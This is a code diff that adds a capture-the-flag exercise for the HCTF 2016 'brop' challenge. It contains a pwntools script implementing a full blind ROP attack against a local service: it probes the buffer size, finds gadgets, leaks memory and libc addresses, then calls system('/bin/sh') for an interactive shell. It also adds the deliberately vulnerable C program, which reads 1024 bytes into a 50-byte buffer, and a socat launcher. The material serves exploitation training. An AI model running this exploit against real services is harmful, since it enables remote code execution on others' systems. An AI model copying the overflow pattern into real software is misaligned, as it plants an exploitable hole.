b/src/writeup/6.1_pwn_hctf2016_brop/exp.py @@ -0,0 +1,217 @@ +from pwn import * + +#context.log_level = 'debug' + +def get_buffer_size(): + for i in range(100): + payload = "A" + payload += "A"*i + buf_size = len(payload) - 1 + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.send(payload) + p.recv() + p.close() + log.info("bad: %d" % buf_size) + except EOFError as e: + p.close() + log.info("buffer size: %d" % buf_size) + return buf_size + +def get_stop_addr(buf_size): + addr = 0x400000 + while True: + sleep(0.1) + addr += 1 + payload = "A"*buf_size + payload += p64(addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("stop address: 0x%x" % addr) + return addr + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 + +def get_gadgets_addr(buf_size, stop_addr): + addr = stop_addr + while True: + sleep(0.1) + addr += 1 + payload = "A"*buf_size + payload += p64(addr) + payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("find address: 0x%x" % addr) + try: # check + payload = "A"*buf_size + payload += p64(addr) + payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + p.recvline() + p.close() + log.info("bad address: 0x%x" % addr) + except: + p.close() + log.info("gadget address: 0x%x" % addr) + return addr + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 + +def get_puts_plt(buf_size, stop_addr, gadgets_addr): + pop_rdi = gadgets_addr + 9 # pop rdi; ret; + addr = stop_addr + while True: + sleep(0.1) + addr += 1 + + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(0x400000) + payload += p64(addr) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + if p.recv().startswith("\x7fELF"): + log.info("puts@plt address: 0x%x" % addr) + p.close() + return addr + log.info("bad: 0x%x" % addr) + p.close() + except EOFError as e: + p.close() + log.info("bad: 0x%x" % addr) + except: + log.info("Can't connect") + addr -= 1 + +def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr): + pop_rdi = gadgets_addr + 9 # pop rdi; ret + + result = "" + while start_addr < end_addr: + #print result.encode('hex') + sleep(0.1) + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(start_addr) + payload += p64(puts_plt) + payload += p64(stop_addr) + try: + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes + if data == "\n": + data = "\x00" + elif data[-1] == "\n": + data = data[:-1] + log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex'))) + result += data + start_addr += len(data) + p.close() + except: + log.info("Can't connect") + return result + +def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got): + pop_rdi = gadgets_addr + 9 + + payload = "A"*buf_size + payload += p64(pop_rdi) + payload += p64(puts_got) + payload += p64(puts_plt) + payload += p64(stop_addr) + + p = remote('127.0.0.1', 10001) + p.recvline() + p.sendline(payload) + data = p.recvline() + data = u64(data[:-1] + '\x00\x00') + log.info("puts address: 0x%x" % data) + p.close() + + return data + +#buf_size = get_buffer_size() +buf_size = 72 + +#stop_addr = get_stop_addr(buf_size) +stop_addr = 0x4005e5 + +#gadgets_addr = get_gadgets_addr(buf_size, stop_addr) +gadgets_addr = 0x40082a + +#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr) +puts_plt = 0x4005e7 # fake puts +#puts_plt = 0x4005f0 # true puts + +# dump code section from memory +# and then use Radare2 or IDA Pro to find the got address +#start_addr = 0x400000 +#end_addr = 0x401000 +#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr) +#with open('code.bin', 'wb') as f: +# f.write(code_bin) +# f.close() +puts_got = 0x00601018 + +# you can also dump data from memory and get information from .got +#start_addr = 0x600000 +#end_addr = 0x602000 +#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr) +#with open('data.bin', 'wb') as f: +# f.write(data_bin) +# f.close() + +# must close ASLR +#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got) +puts_addr = 0x7ffff7a90210 + +# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so +# $ ./find puts 0x7ffff7a90210 +# or $ ./find puts 210 +# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 +# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts +# then you can get the following offset +offset_puts = 0x000000000006f210 +offset_system = 0x0000000000042010 +offset_str_bin_sh = 0x17aff5 + +system_addr = (puts_addr - offset_puts) + offset_system +binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh + +# get shell +payload = "A"*buf_size +payload += p64(gadgets_addr + 9) # pop rdi; ret; +payload += p64(binsh_addr) +payload += p64(system_addr) +payload += p64(stop_addr) + +p = remote('127.0.0.1', 10001) +p.recvline() +p.sendline(payload) +p.interactive() \ No newline at end of file diff --git a/src/writeup/6.1_pwn_hctf2016_brop/main.c b/src/writeup/6.1_pwn_hctf2016_brop/main.c new file mode 100755 index 0000000..efc3f8f --- /dev/null +++ b/src/writeup/6.1_pwn_hctf2016_brop/main.c @@ -0,0 +1,21 @@ +#include +#include +#include +int i; +int check(); +int main(void){ + setbuf(stdin,NULL); + setbuf(stdout,NULL); + setbuf(stderr,NULL); + puts("WelCome my friend,Do you know password?"); + if(!check()){ + puts("Do not dump my memory"); + }else { + puts("No password, no game"); + } +} +int check(){ + char buf[50]; + read(STDIN_FILENO,buf,1024); + return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk"); +} diff --git a/src/writeup/6.1_pwn_hctf2016_brop/run.sh b/src/writeup/6.1_pwn_hctf2016_brop/run.sh new file mode 100755 index 0000000..2005c2d --- /dev/null +++ b/src/writeup/6.1_pwn_hctf2016_brop/run.sh @@ -0,0 +1,7 @@ +#!/bin/sh +while true; do + num=`ps -ef | grep "socat" | grep -v "grep" | wc -l` + if [ $num -lt 5 ]; then + socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & + fi +done diff --git a/src/writeup/init.md b/src/writeup/init.md deleted file mode 100644 index e69de29..0000000